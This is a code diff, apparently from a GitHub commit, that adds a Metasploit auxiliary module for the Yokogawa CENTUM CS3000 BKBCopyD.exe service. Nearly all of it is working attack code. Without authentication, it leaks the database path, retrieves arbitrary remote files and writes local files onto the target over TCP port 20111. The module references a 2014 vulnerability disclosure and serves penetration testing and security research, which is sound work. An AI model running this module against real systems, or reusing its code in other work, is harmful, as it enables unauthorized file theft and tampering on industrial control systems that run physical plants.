|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Auxiliary |
| 9 | + |
| 10 | + include Msf::Exploit::Remote::Tcp |
| 11 | + include Msf::Exploit::Remote::TcpServer |
| 12 | + include Msf::Auxiliary::Report |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'Yokogawa BKBCopyD.exe Client', |
| 17 | + 'Description' => %q{ |
| 18 | + This module allows an unauthenticated user to interact with the Yokogawa |
| 19 | + CENTUM CS3000 BKBCopyD.exe service through the PMODE, RETR and STOR |
| 20 | + operations. |
| 21 | + }, |
| 22 | + 'Author' => |
| 23 | + [ 'Unknown' ], |
| 24 | + 'References' => |
| 25 | + [ |
| 26 | + [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/08/09/r7-2014-10-disclosure-yokogawa-centum-cs3000-bkbcopydexe-file-system-access'] |
| 27 | + ], |
| 28 | + 'Actions' => |
| 29 | + [ |
| 30 | + ['PMODE', { 'Description' => 'Leak the current database' }], |
| 31 | + ['RETR', { 'Description' => 'Retrieve remote file' }], |
| 32 | + ['STOR', { 'Description' => 'Store remote file' }] |
| 33 | + ], |
| 34 | + 'DisclosureDate' => 'Aug 9 2014', |
| 35 | + 'DefaultTarget' => 0)) |
| 36 | + |
| 37 | + register_options( |
| 38 | + [ |
| 39 | + Opt::RPORT(20111), |
| 40 | + OptString.new('RPATH', [ false, 'The Remote Path (required to RETR and STOR)', "" ]), |
| 41 | + OptPath.new('LPATH', [ false, 'The Local Path (required to STOR)' ]) |
| 42 | + ], self.class) |
| 43 | + end |
| 44 | + |
| 45 | + def srvport |
| 46 | + @srvport |
| 47 | + end |
| 48 | + |
| 49 | + def run |
| 50 | + exploit |
| 51 | + end |
| 52 | + |
| 53 | + def exploit |
| 54 | + @srvport = rand(1024..65535) |
| 55 | + print_status("#{@srvport}") |
| 56 | + # We make the client connection before giving control to the TCP Server |
| 57 | + # in order to release the src port, so the server can start correctly |
| 58 | + |
| 59 | + case action.name |
| 60 | + when 'PMODE' |
| 61 | + print_status("Sending PMODE packet...") |
| 62 | + data = "PMODE MR_DBPATH\n" |
| 63 | + res = send_pkt(data) |
| 64 | + if res and res =~ /^210/ |
| 65 | + print_good("Success: #{res}") |
| 66 | + else |
| 67 | + print_error("Failed...") |
| 68 | + end |
| 69 | + return |
| 70 | + when 'RETR' |
| 71 | + data = "RETR #{datastore['RPATH']}\n" |
| 72 | + print_status("Sending RETR packet...") |
| 73 | + res = send_pkt(data) |
| 74 | + return unless res and res =~ /^150/ |
| 75 | + when 'STOR' |
| 76 | + data = "STOR #{datastore['RPATH']}\n" |
| 77 | + print_status("Sending STOR packet...") |
| 78 | + res = send_pkt(data) |
| 79 | + return unless res and res =~ /^150/ |
| 80 | + else |
| 81 | + print_error("Incorrect action") |
| 82 | + return |
| 83 | + end |
| 84 | + |
| 85 | + super # TCPServer :) |
| 86 | + end |
| 87 | + |
| 88 | + def send_pkt(data) |
| 89 | + connect(true, {'CPORT' => @srvport}) |
| 90 | + sock.put(data) |
| 91 | + data = sock.get_once |
| 92 | + disconnect |
| 93 | + |
| 94 | + return data |
| 95 | + end |
| 96 | + |
| 97 | + def valid_response?(data) |
| 98 | + return false unless !!data |
| 99 | + return false unless data =~ /500 'yyparse error': command not understood/ |
| 100 | + return true |
| 101 | + end |
| 102 | + |
| 103 | + def on_client_connect(c) |
| 104 | + if action.name == 'STOR' |
| 105 | + contents = "" |
| 106 | + File.new(datastore['LPATH'], "rb") { |f| contents = f.read } |
| 107 | + print_status("#{c.peerhost} - Sending data...") |
| 108 | + c.put(contents) |
| 109 | + self.service.close |
| 110 | + self.service.stop |
| 111 | + end |
| 112 | + end |
| 113 | + |
| 114 | + def on_client_data(c) |
| 115 | + print_status("#{c.peerhost} - Getting data...") |
| 116 | + data = c.get_once |
| 117 | + return unless data |
| 118 | + if @store_path.blank? |
| 119 | + @store_path = store_loot("yokogawa.cs3000.file", "application/octet-stream", rhost, data, datastore['PATH']) |
| 120 | + print_good("#{@store_path} saved!") |
| 121 | + else |
| 122 | + File.open(@store_path, "ab") { |f| f.write(data) } |
| 123 | + print_good("More data on #{@store_path}") |
| 124 | + end |
| 125 | + end |
| 126 | + |
| 127 | + def on_client_close(c) |
| 128 | + stop_service |
| 129 | + end |
| 130 | + |
| 131 | +end |
| 132 | + |
0 commit comments